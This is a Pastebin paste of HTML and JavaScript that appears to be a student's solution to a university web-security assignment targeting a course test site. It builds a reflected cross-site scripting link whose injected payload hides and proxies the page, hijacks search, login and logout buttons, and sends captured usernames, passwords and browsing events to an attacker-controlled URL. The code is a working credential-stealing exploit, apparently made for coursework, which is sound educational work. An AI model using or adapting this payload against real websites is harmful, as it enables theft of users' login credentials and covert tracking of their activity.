Advertisement
Guest User

Untitled

a guest
Nov 29th, 2016
64
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.21 KB | None | 0 0
  1. <meta charset="utf-8">
  2. <script src="http://ajax.googleapis.com/ajax/libs/jquery/2.0.3/jquery.min.js"></script>
  3. <script>
  4. function payload(attacker) {
  5.  
  6. function log(data) {
  7. console.log($.param(data));
  8. $.get(attacker, data);
  9. }
  10.  
  11. function loadcallback() {
  12. $("html").show();
  13.  
  14. $('#bungle-lnk').removeAttr("href");
  15. $('#bungle-lnk').click(function() {
  16. proxy('/', history.state['url'] != '/');
  17. });
  18.  
  19. $('#search-again-btn').removeAttr("href");
  20. $('#search-again-btn').click(function() {
  21. proxy('/', true)
  22. });
  23.  
  24. $('.history-item').each(function() {
  25. var value = $(this).attr('href');
  26. $(this).removeAttr('href');
  27. $(this).click(function () {
  28. proxy(value, true);
  29. });
  30. });
  31.  
  32. // hijack search form
  33. $('#search-btn').click(function(e) {
  34. e.preventDefault();
  35. var attr = $("#query").val();
  36.  
  37. // fill in page
  38. $.ajax({
  39. url: "./search",
  40. data: {
  41. q: attr
  42. },
  43. type: "GET",
  44. success: function (data) {
  45. $("html").html(data);
  46. proxy("search?q=" + attr, true);
  47. }
  48. });
  49. });
  50.  
  51. $('#log-in-btn').click(function(e) {
  52. e.preventDefault();
  53. var un = $('#username').val();
  54. var pw = $('#userpass').val();
  55.  
  56. log({event: "login", user: un, pass: pw});
  57.  
  58. console.log("setting cu to " + un);
  59. cu = un;
  60.  
  61. $.ajax({
  62. url: "./login",
  63. data: {
  64. username: un,
  65. password: pw,
  66. },
  67. type: "POST",
  68. success: function (data) {
  69. $("html").html(data);
  70. history.replaceState({url: "/", html: $("html").html()}, "", "/");
  71. proxy("/", false);
  72. }
  73. });
  74. });
  75.  
  76. $('#log-out-btn').click(function(e) {
  77. e.preventDefault();
  78.  
  79. log({event: "logout", user: cu});
  80.  
  81. cu = "";
  82.  
  83. $.ajax({
  84. url: "./logout",
  85. data: {
  86. },
  87. type: "POST",
  88. success: function (data) {
  89. $("html").html(data);
  90. history.replaceState({url: "/", html: $("html").html()}, "", "/");
  91. proxy("/", false);
  92. }
  93. });
  94. });
  95. }
  96.  
  97. function proxy(href, shouldPush) {
  98. var fullurl = "http://cos432-assn3.cs.princeton.edu/" + encodeURIComponent(href);
  99. log({event: "nav", user: cu, url: fullurl});
  100.  
  101. // add appropriate url to the history stack
  102. if (shouldPush) {
  103. $("html").load(href, function() {
  104. loadcallback();
  105. history.pushState({url: href, html: $("html").html()}, "", href);
  106. });
  107. }
  108.  
  109. else {
  110. $("html").html(history.state["html"]);
  111. loadcallback();
  112. }
  113. }
  114.  
  115. // do this on first injection
  116. $("html").hide();
  117. $(document).ready(function() {
  118.  
  119. // load script to the page
  120. var script = document.createElement('script');
  121. script.type = "text/javascript";
  122. script.text = "var attacker = '" + attacker + "';\n" + 'var cu = "";\n'+ proxy.toString() + "\n" + log.toString() + "\n" + loadcallback.toString();
  123. $("html").append(script);
  124.  
  125. // popstate hander
  126. window.onpopstate = function(e) {
  127. proxy(e.state['url'], false);
  128. };
  129.  
  130. // initial history and page setup
  131. history.replaceState(null, "", "/"); // avoid flashing link
  132. $("html").load("/", function() {
  133. loadcallback();
  134. history.replaceState({url: "/", html: $("html").html()}, "", "/");
  135. });
  136. });
  137. }
  138.  
  139. function makeLink(xssdefense, target, attacker) {
  140. if (xssdefense == 0) {
  141. return target + "/search?xssdefense=" + xssdefense.toString() + "&q=" + encodeURIComponent("<script" + ">" + payload.toString() + ";" + payload.name + "(\"" + attacker + "\");<\/script" + ">");
  142. } else { // Implement code to defeat XSS defenses here.
  143. }
  144. }
  145. var xssdefense = 0;
  146. var target = "http://cos432-assn3.cs.princeton.edu/";
  147. var attacker = "http://127.0.0.1:31337/stolen";
  148. $(function() {
  149. var url = makeLink(xssdefense, target, attacker);
  150. $("h3").html("<a target=\"run\" href=\"" + url + "\">Try Bungle!</a>");
  151. });
  152. </script>
  153. <h3>parse error</h3>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement